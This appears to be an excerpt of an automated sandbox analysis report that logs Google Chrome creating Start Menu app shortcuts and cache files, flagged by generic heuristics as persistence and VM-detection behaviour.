Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Persistence and Installation Behavior

Drops files with a non-matching file extension (content does not match file extension)

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 1005
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 627			Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 1005			Jump to dropped file

Boot Survival

Stores files to the Windows start menu directory

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk			Jump to behavior

Malware Analysis System Evasion

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: chromecache_856.2.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_856.2.dr	Binary or memory string: ",DisconnectVirtualMachine:"